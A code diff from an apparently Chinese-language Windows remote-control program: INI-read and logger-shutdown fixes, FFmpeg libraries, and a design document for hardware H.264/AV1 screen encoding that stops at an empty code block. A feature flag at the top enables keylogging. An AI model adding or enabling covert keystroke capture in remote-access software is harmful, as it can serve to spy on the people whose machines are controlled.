#define ENABLE_KEYBOARD TRUE // 键盘记录
|
||||||
|
|
||||||
|
#define ENABLE_MESSAGE TRUE // 远程消息
|
||||||
|
#define ENABLE_PROXY TRUE // 代理映射
|
||||||
|
|
||||||
|
#define DISABLED_FEATURE "Feature Disabled"
|
||||||
@@ -208,9 +208,25 @@ public:
|
|||||||
|
|
||||||
virtual std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "")
|
virtual std::string GetStr(const std::string& MainKey, const std::string& SubKey, const std::string& def = "")
|
||||||
{
|
{
|
||||||
char buf[4096] = { 0 }; // 增大缓冲区以支持较长的值(如 IP 列表)
|
// 动态扩容读取:GetPrivateProfileStringA 在缓冲不够时会从中间截断,
|
||||||
DWORD n = ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(), def.c_str(), buf, sizeof(buf), m_IniFilePath);
|
// 必须以"是否返回 bufSize-1"判断截断并翻倍重读,否则长值(如团购授权的
|
||||||
return std::string(buf);
|
// IP 列表)会被悄无声息地切断,且后续 read-modify-write 把截断结果写回时
|
||||||
|
// 造成永久数据丢失。
|
||||||
|
DWORD bufSize = 4096;
|
||||||
|
const DWORD kMaxBufSize = 1024 * 1024; // 1MB 兜底,避免失控
|
||||||
|
std::vector<char> buf;
|
||||||
|
for (;;) {
|
||||||
|
buf.assign(bufSize, 0);
|
||||||
|
DWORD n = ::GetPrivateProfileStringA(MainKey.c_str(), SubKey.c_str(),
|
||||||
|
def.c_str(), buf.data(), bufSize,
|
||||||
|
m_IniFilePath);
|
||||||
|
// 未截断:n < bufSize - 1
|
||||||
|
if (n + 1 < bufSize || bufSize >= kMaxBufSize) {
|
||||||
|
return std::string(buf.data(), n);
|
||||||
|
}
|
||||||
|
bufSize *= 2;
|
||||||
|
if (bufSize > kMaxBufSize) bufSize = kMaxBufSize;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
virtual bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data)
|
virtual bool SetStr(const std::string& MainKey, const std::string& SubKey, const std::string& Data)
|
||||||
|
|||||||
@@ -228,16 +228,19 @@ private:
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 后台线程处理日志
|
// 后台线程处理日志
|
||||||
|
// 退出语义:stop() 设 running=false 后,本线程必须把队列里**已入队**的日志
|
||||||
|
// 全部刷盘再退出。否则进程死亡前最后几条 Mprintf(包括退出原因)会丢失。
|
||||||
void processLogs()
|
void processLogs()
|
||||||
{
|
{
|
||||||
threadRun = true;
|
threadRun = true;
|
||||||
while (running) {
|
while (true) {
|
||||||
std::unique_lock<std::mutex> lock(queueMutex);
|
std::unique_lock<std::mutex> lock(queueMutex);
|
||||||
cv.wait(lock, [this]() {
|
cv.wait(lock, [this]() {
|
||||||
return !running || !logQueue.empty();
|
return !running || !logQueue.empty();
|
||||||
});
|
});
|
||||||
|
|
||||||
while (running && !logQueue.empty()) {
|
// drain:不带 running 判断,确保 stop() 时残留条目也写完
|
||||||
|
while (!logQueue.empty()) {
|
||||||
std::string logEntry = logQueue.front();
|
std::string logEntry = logQueue.front();
|
||||||
logQueue.pop();
|
logQueue.pop();
|
||||||
lock.unlock();
|
lock.unlock();
|
||||||
@@ -247,7 +250,9 @@ private:
|
|||||||
|
|
||||||
lock.lock();
|
lock.lock();
|
||||||
}
|
}
|
||||||
lock.unlock();
|
|
||||||
|
// 队列已空再决定要不要退出
|
||||||
|
if (!running) break;
|
||||||
}
|
}
|
||||||
threadRun = false;
|
threadRun = false;
|
||||||
}
|
}
|
||||||
|
|||||||
BIN
compress/ffmpeg/dav1d_x64.lib
Normal file
BIN
compress/ffmpeg/dav1d_x64.lib
Normal file
Binary file not shown.
BIN
compress/ffmpeg/vpl_x64.lib
Normal file
BIN
compress/ffmpeg/vpl_x64.lib
Normal file
Binary file not shown.
BIN
compress/ffmpeg/vpl_x64d.lib
Normal file
BIN
compress/ffmpeg/vpl_x64d.lib
Normal file
Binary file not shown.
977
docs/HardwareEncoding_Design.md
Normal file
977
docs/HardwareEncoding_Design.md
Normal file
@@ -0,0 +1,977 @@
|
|||||||
|
# 视频编码硬件加速实现指导文档
|
||||||
|
|
||||||
|
本文档供 AI 编码助手参考,用于在现有 C++ 远程控制程序中实现 H.264 硬件编码 + AV1 编码路径。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. 项目背景
|
||||||
|
|
||||||
|
### 1.1 当前状态
|
||||||
|
|
||||||
|
- C++ Windows 远程控制程序
|
||||||
|
- 已实现 H.264 编码,基于 x264 软编(`CX264Encoder`),preset = `ultrafast + zerolatency`
|
||||||
|
- 视频管线:桌面捕获(RGB/BGRA)→ 编码 → 网络传输 → 客户端解码显示
|
||||||
|
- 当前架构:每个主控端连接对应一个独立编码器实例
|
||||||
|
- **分发模式**:单 exe,FFmpeg 静态链接
|
||||||
|
|
||||||
|
### 1.2 目标
|
||||||
|
|
||||||
|
分两阶段渐进推进,**始终保留 x264 软编作为兜底**:
|
||||||
|
|
||||||
|
**阶段一(H.264 硬编加速)**
|
||||||
|
- 新增 H.264 硬编(NVENC / QSV / AMF),按 GPU 能力探测优先走硬编
|
||||||
|
- x264 软编在无 GPU / 虚拟机 / 远程桌面会话等环境下兜底
|
||||||
|
- 浏览器解码零兼容性风险(H.264 全平台原生支持)
|
||||||
|
|
||||||
|
**阶段二(AV1 路径)**
|
||||||
|
- 新增 AV1 硬编(`av1_nvenc` / `av1_qsv` / `av1_amf`)
|
||||||
|
- 客户端浏览器握手时声明 AV1 能力
|
||||||
|
- 双方都能用就走 AV1,否则回落 H.264
|
||||||
|
|
||||||
|
**最终产物仍为单 exe**,体积增量可接受 6–10 MB。
|
||||||
|
|
||||||
|
### 1.3 关键决策记录
|
||||||
|
|
||||||
|
#### 1.3.1 为什么跳过 HEVC
|
||||||
|
|
||||||
|
经评估,HEVC 在本项目目标场景下没有独占价值:
|
||||||
|
|
||||||
|
| 维度 | 现状 |
|
||||||
|
|---|---|
|
||||||
|
| **浏览器解码** | Firefox 完全不支持;Chrome/Edge 需 Win11 + 商店付费的 HEVC Video Extensions |
|
||||||
|
| **专利授权** | 商用涉及 MPEG-LA / Access Advance / Velos Media 三个专利池 |
|
||||||
|
| **替代方案** | AV1 压缩效率更高、AOMedia 免专利、浏览器原生支持广 |
|
||||||
|
|
||||||
|
HEVC 编码端硬件普及度好(几乎所有 2015+ GPU)这个优势,被解码端短板完全抵消。
|
||||||
|
|
||||||
|
#### 1.3.2 为什么 H.264 硬编先于 AV1
|
||||||
|
|
||||||
|
- **AV1 硬编硬件门槛高**:仅 NVIDIA RTX 40+ / AMD RX 7000+ / Intel Arc 才有
|
||||||
|
- **"多机混杂"场景**下大部分编码端 GPU 没有 AV1 硬编
|
||||||
|
- **H.264 硬编**(NVENC/QSV/AMF)几乎所有现代 GPU 都有,覆盖面广
|
||||||
|
- **客户端浏览器解 H.264** 是零兼容性问题,跨浏览器/跨平台 100% 通用
|
||||||
|
|
||||||
|
H.264 硬编是先把"地板抬起来",AV1 是"在新硬件上的天花板"。
|
||||||
|
|
||||||
|
### 1.4 设计约束
|
||||||
|
|
||||||
|
- **平台**:仅 Windows(macOS/Linux 未来另行设计)
|
||||||
|
- **GPU 不确定**:NVIDIA / AMD / Intel / 无独显 / 虚拟机无 GPU 都需支持
|
||||||
|
- **延迟要求**:不敏感(不追求极致低延迟)
|
||||||
|
- **并发模型**:通常 1 对 1,少数 1 对多(每个连接独立编码器)
|
||||||
|
- **客户端**:浏览器(WebCodecs 优先,`<video>` 次之),未来集成
|
||||||
|
- **工具链**:Visual Studio 2019
|
||||||
|
- **属性**:个人项目,暂不商用,专利问题搁置但仍优先选免专利方案
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 技术方案总览
|
||||||
|
|
||||||
|
### 2.1 编码器优先级链
|
||||||
|
|
||||||
|
```
|
||||||
|
新连接进入(带客户端能力)
|
||||||
|
│
|
||||||
|
├─ 客户端声明支持 AV1?─── 否 ────┐
|
||||||
|
│ 是 │
|
||||||
|
│ ↓ │
|
||||||
|
├─ av1_nvenc/qsv/amf 能开?──┐ │
|
||||||
|
│ │ │ │
|
||||||
|
│ 成功 → 用 AV1 │ │
|
||||||
|
│ ↓ ↓
|
||||||
|
└─ h264_nvenc/qsv/amf/mf 能开?──┐
|
||||||
|
│ │
|
||||||
|
成功 → 用 H.264 硬编 │
|
||||||
|
↓
|
||||||
|
x264 软编(始终可用)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.2 编码器后端表
|
||||||
|
|
||||||
|
| 类型 | FFmpeg 编码器名 | 硬件要求 | 备注 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| AV1 硬编 | `av1_nvenc` | NVIDIA RTX 40+(Ada Lovelace) | 2022 Q4 起 |
|
||||||
|
| AV1 硬编 | `av1_amf` | AMD RX 7000+(RDNA 3) | 2022 Q4 起 |
|
||||||
|
| AV1 硬编 | `av1_qsv` | Intel Arc / 部分新 Iris Xe | 2022 起 |
|
||||||
|
| H.264 硬编 | `h264_nvenc` | 几乎所有 NVIDIA GPU(GTX 650+) | 2012 起 |
|
||||||
|
| H.264 硬编 | `h264_qsv` | 几乎所有 Intel 核显(HD 4000+) | 2012 起 |
|
||||||
|
| H.264 硬编 | `h264_amf` | 几乎所有 AMD GPU | |
|
||||||
|
| H.264 硬编 | `h264_mf` | Windows Media Foundation | 兜底,质量/稳定性一般 |
|
||||||
|
| H.264 软编 | `libx264`(现有 `CX264Encoder`) | 任意 CPU | 始终兜底 |
|
||||||
|
|
||||||
|
**不使用 `libx265` / `libaom-av1` / `libsvtav1`**(CPU 软编),原因:
|
||||||
|
- 远控产品对 CPU 占用敏感,AV1/HEVC 软编实时编码压力大
|
||||||
|
- `libx265` 会让 FFmpeg 切到 GPL,`libaom-av1` 编码速度也不够
|
||||||
|
|
||||||
|
### 2.3 类结构
|
||||||
|
|
||||||
|
```
|
||||||
|
VideoEncoderBase(新增抽象接口)
|
||||||
|
├── CX264Encoder (改造现有类继承接口,保留软编兜底)
|
||||||
|
├── CFFmpegH264Encoder (新增,封装 h264_nvenc/qsv/amf/mf)
|
||||||
|
└── CFFmpegAV1Encoder (新增,封装 av1_nvenc/qsv/amf)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.4 协商流程
|
||||||
|
|
||||||
|
```
|
||||||
|
握手阶段:
|
||||||
|
- 客户端(浏览器)在 WebSocket 握手时上报能力:
|
||||||
|
{ "codecs": ["av1", "h264"] } // 浏览器实际能解的,按优先级排
|
||||||
|
- 服务端取「客户端能力 ∩ 自己硬件能力」选 codec
|
||||||
|
|
||||||
|
会话阶段:
|
||||||
|
- 选定 codec 后创建对应编码器,整个连接生命周期不变
|
||||||
|
- 运行中不切换 codec(保持简单,需要切换就重连)
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 硬编 vs 现有 x264 软编对比
|
||||||
|
|
||||||
|
### 3.1 CPU 占用(最大收益)
|
||||||
|
|
||||||
|
| 编码器 | 1080p @ 30fps CPU 占用 |
|
||||||
|
|---|---|
|
||||||
|
| x264 `ultrafast`(现状) | 单核 15–30% |
|
||||||
|
| x264 `medium`(同画质基准) | 单核 60–100% |
|
||||||
|
| `h264_nvenc p4` | 总 **1–3%** |
|
||||||
|
| `h264_qsv medium` | 总 2–5% |
|
||||||
|
| `h264_amf balanced` | 总 2–5% |
|
||||||
|
|
||||||
|
被控端是用户的主力工作机,他自己还在干活。CPU 让出来意味着远控对他几乎不可感。
|
||||||
|
|
||||||
|
### 3.2 同 CPU 预算下画质更高
|
||||||
|
|
||||||
|
x264 的 preset 排序(同码率下画质):
|
||||||
|
|
||||||
|
```
|
||||||
|
ultrafast < superfast < veryfast < faster < fast < medium < slow ...
|
||||||
|
↑ 现状 ↑ 标准基准
|
||||||
|
```
|
||||||
|
|
||||||
|
NVENC `p4` 预设大致对应 x264 `fast` ~ `medium`,**画质明显优于当前 ultrafast,且 CPU 占用低一个数量级**。
|
||||||
|
|
||||||
|
### 3.3 其他收益
|
||||||
|
|
||||||
|
- **编码延迟稳定**:ASIC 不受 CPU 调度影响,单帧 1–5 ms
|
||||||
|
- **笔记本电池/温度**:ASIC 几瓦,键盘不烫、风扇不转
|
||||||
|
- **可拉高分辨率/帧率**:4K@30 / 多屏拼接软编扛不住,硬编轻松
|
||||||
|
|
||||||
|
### 3.4 代价(必须接受)
|
||||||
|
|
||||||
|
- **二进制 +6–10 MB**(FFmpeg 静态库,可接受)
|
||||||
|
- **编译复杂度上升**:vcpkg 或自编 FFmpeg
|
||||||
|
- **不同后端参数语义有差异**:rc 模式、preset 名字、bitrate 表现都不一样
|
||||||
|
- **必须保留 x264 软编兜底**:无 GPU / 远程桌面 / 虚拟机 / NVENC session 满 等场景
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 现有 H.264 编码器现状
|
||||||
|
|
||||||
|
`CX264Encoder` 签名(`client/X264Encoder.cpp`):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
class CX264Encoder
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
x264_t* m_pCodec;
|
||||||
|
x264_picture_t* m_pPicIn;
|
||||||
|
x264_picture_t* m_pPicOut;
|
||||||
|
x264_param_t m_Param;
|
||||||
|
|
||||||
|
public:
|
||||||
|
bool open(int width, int height, int fps, int crf);
|
||||||
|
bool open(x264_param_t* param);
|
||||||
|
void close();
|
||||||
|
int encode(uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize,
|
||||||
|
int direction = 1);
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
集成点(`client/ScreenCapture.h`):
|
||||||
|
|
||||||
|
| 位置 | 内容 |
|
||||||
|
|---|---|
|
||||||
|
| `L148` | `CX264Encoder* m_encoder;`(持有具体类,需改为接口) |
|
||||||
|
| `L926-930` | 关键帧路径硬编码 `new CX264Encoder()` |
|
||||||
|
| `L956-960` | 增量帧路径硬编码 `new CX264Encoder()` |
|
||||||
|
| `L170-176` | `BitRateToCRF(bitRate)` 码率→CRF 映射 |
|
||||||
|
|
||||||
|
参数现状:
|
||||||
|
- `param.i_threads = 1`
|
||||||
|
- `preset = "ultrafast", tune = "zerolatency"`
|
||||||
|
- `i_keyint_max = fps * 15`(15 秒一个 IDR)
|
||||||
|
- `i_bframe = 0`、`b_open_gop = 0`
|
||||||
|
- `rc.i_rc_method = X264_RC_CRF`(CRF 模式,未设 VBV)
|
||||||
|
|
||||||
|
需要的改造(详见 §6):
|
||||||
|
1. `ScreenCapture::m_encoder` 改 `std::unique_ptr<VideoEncoderBase>`
|
||||||
|
2. 编码器创建走 `CreateEncoder` 工厂
|
||||||
|
3. 接口的 quality 语义解耦(CRF vs kbps,详见 §6.2)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. FFmpeg 静态库准备
|
||||||
|
|
||||||
|
### 5.1 推荐方案:vcpkg
|
||||||
|
|
||||||
|
VS2019 + vcpkg 是最稳的路径:
|
||||||
|
|
||||||
|
```
|
||||||
|
vcpkg install ffmpeg[core,nvcodec,amf,qsv]:x64-windows-static-md
|
||||||
|
```
|
||||||
|
|
||||||
|
要点:
|
||||||
|
- **三元组选 `x64-windows-static-md`**:链接静态 FFmpeg 但用动态 CRT(`/MD`),与本项目当前工程一致
|
||||||
|
- 如果工程是 `/MT` 改用 `x64-windows-static`
|
||||||
|
- `nvcodec` feature 引入 NVENC 头文件,`amf` 引入 AMF,`qsv` 引入 libmfx
|
||||||
|
- 阶段一只需要 H.264,可以先不带这些 feature,但建议一次到位
|
||||||
|
|
||||||
|
阶段二需要 AV1,FFmpeg 较新版本默认已支持 `av1_nvenc` / `av1_amf` / `av1_qsv`,无需额外 feature 名。
|
||||||
|
|
||||||
|
### 5.2 备选方案:自编
|
||||||
|
|
||||||
|
MSYS2 + MinGW-w64 + `--toolchain=msvc` 产出 MSVC 兼容 `.lib`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./configure \
|
||||||
|
--prefix=/path/to/install \
|
||||||
|
--arch=x86_64 \
|
||||||
|
--target-os=mingw64 \
|
||||||
|
--toolchain=msvc \
|
||||||
|
--disable-shared --enable-static \
|
||||||
|
--disable-everything \
|
||||||
|
--disable-autodetect \
|
||||||
|
--disable-network \
|
||||||
|
--disable-doc \
|
||||||
|
--disable-programs \
|
||||||
|
--disable-debug \
|
||||||
|
--enable-small \
|
||||||
|
--enable-encoder=h264_nvenc \
|
||||||
|
--enable-encoder=h264_amf \
|
||||||
|
--enable-encoder=h264_qsv \
|
||||||
|
--enable-encoder=h264_mf \
|
||||||
|
--enable-encoder=av1_nvenc \
|
||||||
|
--enable-encoder=av1_amf \
|
||||||
|
--enable-encoder=av1_qsv \
|
||||||
|
--enable-protocol=file
|
||||||
|
```
|
||||||
|
|
||||||
|
**不要** `--enable-gpl` 或 `--enable-libx265 / --enable-libaom`,保持 LGPL 且避免软编 H.265/AV1。
|
||||||
|
|
||||||
|
### 5.3 工程链接配置(MSVC)
|
||||||
|
|
||||||
|
**附加包含目录**(C/C++ → 常规):
|
||||||
|
```
|
||||||
|
$(VcpkgRoot)\installed\x64-windows-static-md\include
|
||||||
|
```
|
||||||
|
|
||||||
|
**附加库目录**(链接器 → 常规):
|
||||||
|
```
|
||||||
|
$(VcpkgRoot)\installed\x64-windows-static-md\lib
|
||||||
|
```
|
||||||
|
|
||||||
|
**附加依赖项**(链接器 → 输入):
|
||||||
|
```
|
||||||
|
avcodec.lib
|
||||||
|
avutil.lib
|
||||||
|
swresample.lib
|
||||||
|
|
||||||
|
# FFmpeg 静态链接依赖的 Windows 系统库
|
||||||
|
mfplat.lib
|
||||||
|
mfuuid.lib
|
||||||
|
strmiids.lib
|
||||||
|
ws2_32.lib
|
||||||
|
secur32.lib
|
||||||
|
bcrypt.lib
|
||||||
|
```
|
||||||
|
|
||||||
|
**预处理器定义**:
|
||||||
|
```
|
||||||
|
ENABLE_HW_ENCODER
|
||||||
|
__STDC_CONSTANT_MACROS # FFmpeg C 头文件在 C++ 中需要
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 实现任务清单
|
||||||
|
|
||||||
|
### 6.1 文件清单
|
||||||
|
|
||||||
|
| 文件 | 操作 | 说明 |
|
||||||
|
|---|---|---|
|
||||||
|
| `VideoEncoderBase.h` | 新增 | 抽象基类 + EncoderParams |
|
||||||
|
| `X264Encoder.h/.cpp` | 修改 | 继承 `VideoEncoderBase`,新增 `forceIDR()` / `codec()` / `backendName()` |
|
||||||
|
| `CFFmpegH264Encoder.h/.cpp` | 新增(阶段一) | 封装 `h264_nvenc/qsv/amf/mf` |
|
||||||
|
| `CFFmpegAV1Encoder.h/.cpp` | 新增(阶段二) | 封装 `av1_nvenc/qsv/amf` |
|
||||||
|
| `EncoderFactory.h/.cpp` | 新增 | 工厂 + 多后端探测 |
|
||||||
|
| `EncoderProbe.h/.cpp` | 新增 | 启动时一次性探测可用后端,缓存结果 |
|
||||||
|
| `ScreenCapture.h` | 修改 | `m_encoder` 改 `std::unique_ptr<VideoEncoderBase>` |
|
||||||
|
| 握手协议代码 | 修改(阶段二) | 加 `codecs` 能力字段 |
|
||||||
|
| 工程配置 | 修改 | FFmpeg 静态库链接(详见 §5.3) |
|
||||||
|
|
||||||
|
### 6.2 抽象接口定义
|
||||||
|
|
||||||
|
`VideoEncoderBase.h`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
#pragma once
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
enum class VideoCodec { H264, AV1 };
|
||||||
|
enum class RateControl { CRF, BITRATE };
|
||||||
|
|
||||||
|
struct EncoderParams {
|
||||||
|
int width;
|
||||||
|
int height;
|
||||||
|
int fps;
|
||||||
|
RateControl rc = RateControl::BITRATE;
|
||||||
|
int crf = 23; // 当 rc == CRF 时使用(x264 路径)
|
||||||
|
int bitrate_kbps = 4000; // 当 rc == BITRATE 时使用(硬编路径)
|
||||||
|
int gop_seconds = 4; // 关键帧间隔(秒),编码器内部转 frames
|
||||||
|
};
|
||||||
|
|
||||||
|
class VideoEncoderBase {
|
||||||
|
public:
|
||||||
|
virtual ~VideoEncoderBase() = default;
|
||||||
|
|
||||||
|
virtual bool open(const EncoderParams& params) = 0;
|
||||||
|
virtual void close() = 0;
|
||||||
|
|
||||||
|
virtual int encode(
|
||||||
|
uint8_t* rgb,
|
||||||
|
uint8_t bpp,
|
||||||
|
uint32_t stride,
|
||||||
|
uint32_t width,
|
||||||
|
uint32_t height,
|
||||||
|
uint8_t** lppData,
|
||||||
|
uint32_t* lpSize,
|
||||||
|
int direction = 1
|
||||||
|
) = 0;
|
||||||
|
|
||||||
|
virtual void forceIDR() = 0;
|
||||||
|
virtual void setBitrate(int kbps) {} // 默认空实现
|
||||||
|
virtual VideoCodec codec() const = 0;
|
||||||
|
virtual const char* backendName() const = 0; // "x264" / "h264_nvenc" / "av1_amf" ...
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
设计要点:
|
||||||
|
- **抛弃** `open(w, h, fps, quality)` 的设计 —— `quality` 在 H.264 是 CRF、在硬编是 kbps,语义不清楚是坑
|
||||||
|
- 改用 `EncoderParams` 结构体 + `RateControl` 枚举,明确指定速率控制模式
|
||||||
|
- `backendName()` 返回实际后端名("x264" / "h264_nvenc" / "av1_amf"),调用方可用于日志/监控
|
||||||
|
|
||||||
|
### 6.3 CFFmpegH264Encoder 设计
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
#pragma once
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
#include <libavcodec/avcodec.h>
|
||||||
|
#include <libavutil/opt.h>
|
||||||
|
#include <libavutil/imgutils.h>
|
||||||
|
}
|
||||||
|
|
||||||
|
class CFFmpegH264Encoder : public VideoEncoderBase {
|
||||||
|
public:
|
||||||
|
CFFmpegH264Encoder();
|
||||||
|
~CFFmpegH264Encoder() override;
|
||||||
|
|
||||||
|
bool open(const EncoderParams& params) override;
|
||||||
|
void close() override;
|
||||||
|
|
||||||
|
int encode(uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize,
|
||||||
|
int direction = 1) override;
|
||||||
|
|
||||||
|
void forceIDR() override;
|
||||||
|
void setBitrate(int kbps) override;
|
||||||
|
VideoCodec codec() const override { return VideoCodec::H264; }
|
||||||
|
const char* backendName() const override { return m_backend.c_str(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool tryOpenBackend(const char* name, const EncoderParams& p);
|
||||||
|
void cleanupCodec();
|
||||||
|
int convertToNV12(uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height, int direction);
|
||||||
|
|
||||||
|
AVCodecContext* m_ctx = nullptr;
|
||||||
|
AVFrame* m_frame = nullptr;
|
||||||
|
AVPacket* m_packet = nullptr;
|
||||||
|
std::vector<uint8_t> m_outputBuffer;
|
||||||
|
std::vector<uint8_t> m_i420Scratch; // RGB24 路径用
|
||||||
|
int64_t m_pts = 0;
|
||||||
|
bool m_forceIDR = false;
|
||||||
|
std::string m_backend;
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 6.3.1 后端探测顺序
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
static const char* kH264Backends[] = {
|
||||||
|
"h264_nvenc", // NVIDIA:质量/速度/稳定性都最好
|
||||||
|
"h264_qsv", // Intel:核显普及度高
|
||||||
|
"h264_amf", // AMD
|
||||||
|
"h264_mf", // Media Foundation 兜底(可选,质量一般)
|
||||||
|
};
|
||||||
|
|
||||||
|
bool CFFmpegH264Encoder::open(const EncoderParams& p) {
|
||||||
|
for (auto name : kH264Backends) {
|
||||||
|
if (tryOpenBackend(name, p)) {
|
||||||
|
m_backend = name;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
cleanupCodec();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 6.3.2 各后端参数差异
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
|
||||||
|
const AVCodec* codec = avcodec_find_encoder_by_name(name);
|
||||||
|
if (!codec) return false;
|
||||||
|
|
||||||
|
m_ctx = avcodec_alloc_context3(codec);
|
||||||
|
if (!m_ctx) return false;
|
||||||
|
|
||||||
|
// 通用参数
|
||||||
|
m_ctx->width = p.width;
|
||||||
|
m_ctx->height = p.height;
|
||||||
|
m_ctx->time_base = {1, p.fps};
|
||||||
|
m_ctx->framerate = {p.fps, 1};
|
||||||
|
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
|
||||||
|
m_ctx->gop_size = p.fps * p.gop_seconds;
|
||||||
|
m_ctx->max_b_frames = 0;
|
||||||
|
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
|
||||||
|
|
||||||
|
if (strcmp(name, "h264_nvenc") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "preset", "p4", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "tune", "ll", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "zerolatency", "1", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "delay", "0", 0);
|
||||||
|
} else if (strcmp(name, "h264_qsv") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "preset", "medium", 0);
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "async_depth", 1, 0);
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "low_power", 0, 0);
|
||||||
|
} else if (strcmp(name, "h264_amf") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "usage", "lowlatency", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "quality", "balanced", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
|
||||||
|
} else if (strcmp(name, "h264_mf") == 0) {
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "hw_encoding", 1, 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rate_control", "cbr", 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (avcodec_open2(m_ctx, codec, nullptr) < 0) return false;
|
||||||
|
|
||||||
|
m_frame = av_frame_alloc();
|
||||||
|
m_frame->format = AV_PIX_FMT_NV12;
|
||||||
|
m_frame->width = p.width;
|
||||||
|
m_frame->height = p.height;
|
||||||
|
if (av_frame_get_buffer(m_frame, 32) < 0) return false;
|
||||||
|
|
||||||
|
m_packet = av_packet_alloc();
|
||||||
|
return m_packet != nullptr;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 6.3.3 encode 实现
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
int CFFmpegH264Encoder::encode(
|
||||||
|
uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize, int direction)
|
||||||
|
{
|
||||||
|
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||||
|
|
||||||
|
// 像素格式转换(直接用 libyuv,与现有 x264 路径保持一致,不引入 sws_scale)
|
||||||
|
int signed_height = direction * (int)height;
|
||||||
|
if (bpp == 32) {
|
||||||
|
libyuv::ARGBToNV12(
|
||||||
|
rgb, stride,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
width, signed_height
|
||||||
|
);
|
||||||
|
} else if (bpp == 24) {
|
||||||
|
if (convertToNV12(rgb, bpp, stride, width, height, direction) != 0)
|
||||||
|
return -1;
|
||||||
|
} else {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame->pts = m_pts++;
|
||||||
|
|
||||||
|
if (m_forceIDR) {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_I;
|
||||||
|
m_frame->key_frame = 1;
|
||||||
|
m_forceIDR = false;
|
||||||
|
} else {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
|
||||||
|
m_frame->key_frame = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (avcodec_send_frame(m_ctx, m_frame) < 0) return -3;
|
||||||
|
|
||||||
|
int ret = avcodec_receive_packet(m_ctx, m_packet);
|
||||||
|
if (ret == AVERROR(EAGAIN)) {
|
||||||
|
// 首帧延迟正常情况:返回成功但本次无输出
|
||||||
|
*lpSize = 0;
|
||||||
|
*lppData = nullptr;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (ret < 0) return -4;
|
||||||
|
|
||||||
|
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
|
||||||
|
*lppData = m_outputBuffer.data();
|
||||||
|
*lpSize = (uint32_t)m_outputBuffer.size();
|
||||||
|
av_packet_unref(m_packet);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
#### 6.3.4 RGB24 → NV12(libyuv 无直接 API,两步走)
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
